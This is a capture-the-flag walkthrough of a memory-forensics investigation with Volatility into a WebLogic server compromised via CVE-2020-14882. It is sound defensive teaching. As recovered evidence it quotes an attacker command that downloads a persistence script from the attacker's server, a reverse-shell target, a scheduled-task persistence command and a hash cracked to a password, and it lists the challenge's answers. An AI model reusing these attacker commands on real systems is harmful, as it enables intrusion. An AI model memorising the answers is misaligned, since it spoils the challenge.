The #NSM gear flagged suspicious traffic coming from one of the organization's web servers. Analyze the server's captured memory image and figure out what happened.
Information
Category Name: BsidesJeddah-Part2
Files : c63-bsidesjeddah-mem.zip 1.55 GB
– memory.mem 9.66 GB
If you are using a virtual machine, I recommend either sharing a folder or using an external drive, as the file ‘memory.mem’ is quite large.
My Recommendations
Download it from CyberDefenders and verify the file with sha1sum:
sha1sum /path/to/c63-bsidesjeddah-mem.zip
SHA1: ea5eafd18e01f9be152a7952b7b35e804f320583
This is my personal preference, I like being organized and deleting a folder when I’m done with it .
mkdir Documents/CyberDefenders/Bsides2 && cd Documents/CyberDefenders/Bsides2
Volatility for Python2 and Python3 is all you need to solve this category:
vol.py -h vol3 -h
If this doesn’t work, then install it following these instructions.
Walkthrough
1. What is the SHA256 hash value of the RAM image?
EasyPeasy:
sha256sum /mnt/hgfs/bsides/memory.mem
Answer: 5b3b1e1c92ddb1c128eca0fa8c917c16c275ad4c95b19915a288a745f9960f39
2. What time was the RAM image acquired according to the suspect system?
(YYYY-MM-DD HH:MM:SS)
Using volatility3:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.info.Info
Answer:Â 2021-08-06 16:13:23
3. What volatility2 profile is the most appropriate for this machine?
imageinfo will take a long try to figure another way to determine the profile? (ex: Win10x86_14393)
Since volatility3 doesn’t require the user to specify a profile, we can look at the registry to find the windows version and build info of the machine.
First, we need to find the offset of the SOFTWARE hive:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.registry.hivelist.HiveList
Then, we need to print the key that contains the information, which is ‘Microsoft\Windows NT\CurrentVersion’:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.registry.printkey.PrintKey --offset 0x808fe858e000 --key 'Microsoft\Windows NT\CurrentVersion'
If you scroll down a little, the build information and windows version will be displayed:
In this case, the current build is 14393 and the ProductName is “Windows Server 2016 Standard Evaluation”.
To find the correct profile, we can simply grep for the Current Build in volatility2‘s –info output:
vol.py --info | grep 14393
Answer: Win2016x64_14393
4. What is the computer's name?
Computer name is stored in the SYSTEM hive.
Using the same method as the previous question:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.registry.hivelist.HiveList
Â
Now, we just need to print the key containing the information:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.registry.printkey.PrintKey --offset 0x808fe7e41000 --key 'ControlSet001\Control\ComputerName\ComputerName'
Answer:Â WIN-8QOTRH7EMHC
5. What is the system IP address?
We need to use the same method and hive as above, but with a recurse flag, as we don’t know the interface id:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.registry.printkey.PrintKey --offset 0x808fe7e41000 --key 'ControlSet001\Services\Tcpip\Parameters\Interfaces' --recurse
Answer: 192.168.144.131
6. How many established network connections were at the time of acquisition?
vol3 -f /mnt/hgfs/bsides/memory.mem windows.netscan.NetScan | grep ESTABLISHED
In total there were twelve established connections.
Answer: 12
7. What is the PID of explorer.exe?
Using the ‘windows.pslist.PsList’ plugin:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.pslist.PsList | grep explorer
Answer: 2676
8. What is the title of the webpage the admin visited using IE?
Volatility3 doesn’t have an IE history plugin, however volatility2 does, which makes the process easier:Â
vol.py --profile=Win2016x64_14393 -f /mnt/hgfs/bsides/memory.mem iehistory
There is only one entry returned. Administrator visited a URL whose title is Google News.
Answer: Google News
9. What company developed the program used for memory acquisition?
In question 2, we figured out the time the RAM image was acquired. To determine the name of the program, we can use the process list plugin, and look for processes created around the same time as question 2:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.pslist.PsList
Googling for ‘RamCapture64.exe’ returns that it’s part of a free Belkasoft product called Belkasoft Live RAM Capture.
Answer: Belkasoft
10. What is the administrator user password?
Using the Hashdump plugin, we only need to get the Administrator’s NT hash:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.hashdump.Hashdump
Now, we can save the nthash to a file and ask john to crack it. John Jumbo Version is required to crack nt hashes, which you would need to install manually.Â
echo '3aff70b832f6170bda6f7b641563f60b' > admin
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt admin
Answer: 52(dumbledore)oxim
11. What is the version of the WebLogic server installed on the system?
First, we can use the filescan plugin, and save the output to a text file, in case we need it later. Then, we can grep for web logic:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.filescan.FileScan > filescan.txt
grep -i 'weblogic' filescan.txt
Â
wls1411, the parent directory, refers to Oracle WebLogic Server 14.1.1 . To get the exact version, we can redo grep on the file, this time for ‘14.1.1’:
cat filescan.txt | grep -F '14.1.1'
Answer: 14.1.1.0.0
12. The admin set a port forward rule to redirect the traffic from the public port to the WebLogic admin portal port.
What is the public and WebLogic admin portal port number? Format PublicPort:WebLogicPort (22:1337)
The default Web Logic Port is 7001.
The command line plugin returns nothing of interest. In Windows Server 2016 Port forward rules can be set with ‘netsh interface portproxy’. These rules are then stored in the System hive under ‘PortProxy’.
vol3 -f /mnt/hgfs/bsides/memory.mem windows.registry.printkey.PrintKey --offset 0x808fe7e41000 --key 'ControlSet001\Services\PortProxy' --recurse
The v4tov4 tcp rule is : 192.168.144.131/80 “192.168.144.131/7001”. The port being forwarded is 80.
Answer: 80:7001
13. The attacker gain access through WebLogic Server.
What is the PID of the process responsible for the initial exploit?
Using the pstree plugin:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.pstree.PsTree
Java.exe generally handles the WebLogic Server.
Here, we can see that its also the Parent PID of all powershell.exe processes. The commandline plugin showed that a malicious process was executed using powershell (more in Question 17).
Answer: 4752
14. What is the PID of the next entry to the previous process?
(Hint: ActiveProcessLinks list)
ActiveProcessLinks are displayed with the pslist plugin:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.pslist.PsList
The PID of the next process is 4772, which is also java.exe.
Answer: 4772
15. How many threads does the process responsible for the initial exploit have?
In Question 14, we can see that PID 4752 has 44 threads.
Answer: 44
16. The attacker gain access to the system through the webserver.
What is the CVE number of the vulnerability exploited?
Looking at ‘CVE WebLogic 14.1.1.0.0 7001’ points mainly to CVE-2020-14882. This is a great link about the vulnerability.
Â
Answer: CVE-2020-14882
17. The attacker used the vulnerability he found in the webserver to execute a reverse shell command to his own server.
Provide the IP and port of the attacker server? Format: IP:port
With the PsTree plugin, we saw that the initial process (java.exe) was the Parent PID of all powershell processes. In the commandline plugin’s output, one of the arguments for powershell was a Base64 encoded payload, which is in line with CVE-2020-14882:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.cmdline.CmdLine
echo -n '(base64encoded code)' | base64 -d
The decoded payload shows a new TCPClient being set to (“192.168.144.129”,1339).
Answer: 192.168.144.129:1339
18. Multiple files were downloaded from the attacker's web server.
Provide the Command used to download the PowerShell script used for persistence?
So far, we have identified two processes that are responsible for the attack: PID 4752 (java.exe) and PID 4344 (powershell.exe that executed the Base64 encoded payload). It makes sense to look at PID 4344 first:
vol.py -f /mnt/hgfs/bsides/memory.mem --profile=Win10x64_14393 memdump -D . -p 4344
strings 4344.dmp | grep -F '192.168.144.129'
These three lines are proof that files were downloaded and saved on the system. The two powershell scripts are presist.ps1 and pastebin.ps1. The files are not returned in the filescan plugin. Their entries are recorded in the MFT table:
vol.py -f /mnt/hgfs/bsides/memory.mem --profile=Win10x64_14393 mftparser > MFT.txt
cat MFT.txt | head -n 10 #to get the column names
cat MFT.txt | grep 'pastebin'
cat MFT.txt | grep 'presist'
pastebin.ps1 exists only in the Desktop and all dates match the Creation date.
presist.ps1 exists both on the Desktop and in the wls1411 directory. Its Creation and Modification, MFT Alteration and Access date differ. The file was executed and thus, ‘used‘.
We can assume that presist.ps1 is the file maintaining persistence. Running strings on the PID’s dump returns only one match:
Â
strings 4344.dmp | grep -F 'presist.ps1' -B 5 -A 5
Which is the same line returned before. Given that we are working with memory files, we can play around with the encoding options of strings to see if more matches can be found:
strings -a -el 4344.dmp | grep -F 'presist.ps1' -B 5 -A 5
It returns a lot more matches, and the command use to download the script!
Answer: Invoke-WebRequest -Uri “http[://]192[.]168[.]144[.]129:1338/presist[.]ps1” -OutFile “./presist.ps1”
Â
19. What is the MITRE ID related to the persistence technique the attacker used?
In the commandline plugins’ output, we saw that first, the attacker executed the reverse shell command and then multiple powershell processes were executed (as also seen from the pstree output).
Next, we get a reference to Task scheduler (taskchd.msc):
Since taskscheduler is called as ‘schtasks’ we can confirm by looking for this string in the memory file:
strings /mnt/hgfs/bsides/memory.mem | grep schtasks
The base64 encoded code is the same as the one retrieved in Question 17.
The matching command is :
‘schtasks /create /tn ServiceUpdate /tr ‘powershell -e (base64 encoded payload) /sc onlogon /ru System’
Which translates to:
TaskScheduler create <TaskName> ServiceUpdate <TaskRun> powershell -e (base64 encoded code) <ScheduleType> OnLogon <RunWithPermissionsFrom> System
The MITRE ID matching this persistence technique is T1053.005.
Answer: T1053.005
20. After maintaining persistence, the attacker dropped a cobalt strike beacon.
Try to analyze it and provide the Publickey_MD5.
First, we need to locate the cobalt strike beacon. Previously, we found that files were being downloaded from the attacker’s server to the machine:
One of the outfiles was ‘svchost.exe’, which interestingly, is the process occurring right after ‘mmc.exe’ aka the persistence technique:
Moreover, if we look into the parsed MFT table, the executable appears on the Desktop:
Finally, we can triple confirm if that’s the process of interest by using the malfind plugin. Since we just want to check for the executable name, we can do:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.malfind.Malfind | grep -i vads
PID 1488, svchost.exe contains malware. We can dump its memory and parse the beacon using 1786.py:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.memmap.Memmap --pid 1488 --dump
1768.py pid.1488.dmp
Annotated in pink, is the public key of the cobalt strike beacon. However, it’s not really the full string. In yellow, the public exponent is annotated – 0x10001 which is 65537. We just need to copy everything before + the exponent to calculate the hash:
echo -n '30819f300d06092a864886f70d010101050003818d0030818902818100a49cda533d71a54eaa555cdf463fcc46fceb5fe320c6d9040224545eba9375e9baff68c77ed114d2a8e98a0a3307751e9f9b5df7fda6ef1f52954607bba0da308ced11bdd2956539cd66a3e73a4aee39dee90ef8dc275de1bb09ec180eaba96de3c0d35bd610e2c7a2b81fe0c6631fd1413c4373f9e18f9f407bfe53cfd882fd0203010001' | xxd -r -p | md5sum
#returns fc627cf00878e4d4f7997cb26a80e6fc
Answer: fc627cf00878e4d4f7997cb26a80e6fc
Â
21. What is the URL of the exfiltrated data?
In the command line plugin’s output, after the Beacon Strike Beacon was dropped, the application Notepad was executed and referred to a file called ‘exfiltrator.txt’. This was the last thing that happened before the RAM was captured:
With the previous references to Pastebin, we can assume pastebin.com is part of the exfiltration:
vol3 -f /mnt/hgfs/bsides/memory.mem windows.memmap.Memmap --pid 4596 --dump
strings pid.4596.dmp | grep -i pastebin
This doesn’t return any URL, however it provides evidence that the Pastebin API was used:
Looking at the documentation, there should be an API response with the URL.Â
Since the script is written in Powershell, it must have been executed there, and the return could be somewhere in memory. Logically, the powershell process must’ve had a connection to the internet. We can use the NetScan plugin to see which one of powershell’s PID had a connection:
Â
Â
vol3 -f /mnt/hgfs/bsides/memory.mem windows.netscan.NetScan | grep 'powershell.exe'
All the connections are for PID 4344:
Since we dumped it previously we can check it with strings:
strings 4344.dmp | grep -i pastebin
The link with ‘A0Ljk8tu’ appears immediately after the script. If you check the link in a Web Browser, it will confirm it’s the flag:
Answer:Â https://pastebin.com/A0Ljk8tu
TLDR
– An exploited WebLogic server on a Windows machine, this challenge is relatively hard.
– I used a combination of volatility2 and volatility3 to solve the challenge.
